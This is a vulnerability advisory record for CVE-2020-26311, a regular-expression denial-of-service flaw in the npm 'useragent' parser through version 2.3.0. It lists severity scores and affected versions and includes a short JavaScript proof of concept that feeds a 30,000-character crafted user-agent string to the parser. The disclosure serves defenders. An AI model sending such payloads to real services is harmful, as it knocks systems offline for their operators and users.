GHSA-mgfv-m47x-4wqp

Source

https://github.com/advisories/GHSA-mgfv-m47x-4wqp

Import Source

https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2024/10/GHSA-mgfv-m47x-4wqp/GHSA-mgfv-m47x-4wqp.json

JSON Data

https://api.test.osv.dev/v1/vulns/GHSA-mgfv-m47x-4wqp

Aliases

CVE-2020-26311

Published

2024-10-26T21:30:47Z

Modified

2025-09-03T15:17:53Z

Severity

7.5 (High) CVSS_V3 - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H CVSS Calculator
6.6 (Medium) CVSS_V4 - CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:U/U:Green CVSS Calculator

Summary

useragent Regular Expression Denial of Service vulnerability

Details

Useragent is a user agent parser for Node.js. All versions as of time of publication contain one or more regular expressions that are vulnerable to Regular Expression Denial of Service (ReDoS).

PoC

async function exploit() {
   const useragent = require(\"useragent\");

   // Create a malicious user-agent that leads to excessive backtracking
   const maliciousUserAgent = 'Mozilla/5.0 (' + 'X'.repeat(30000) + ') Gecko/20100101 Firefox/77.0';

   // Parse the malicious user-agent
   const agent = useragent.parse(maliciousUserAgent);

   // Call the toString method to trigger the vulnerability
   const result = await agent.device.toString();
   console.log(result);
}

await exploit();

Database specific

{
    "severity": "MODERATE",
    "github_reviewed_at": "2024-10-28T15:01:50Z",
    "cwe_ids": [
        "CWE-1333"
    ],
    "github_reviewed": true,
    "nvd_published_at": "2024-10-26T21:15:14Z"
}

References

Affected packages

npm / useragent

Package

Name: useragent; View open source insights on deps.dev
Purl: pkg:npm/useragent

Affected ranges

Type: SEMVER
Events: Introduced

0Unknown introduced version / All previous versions are affected

Last affected

2.3.0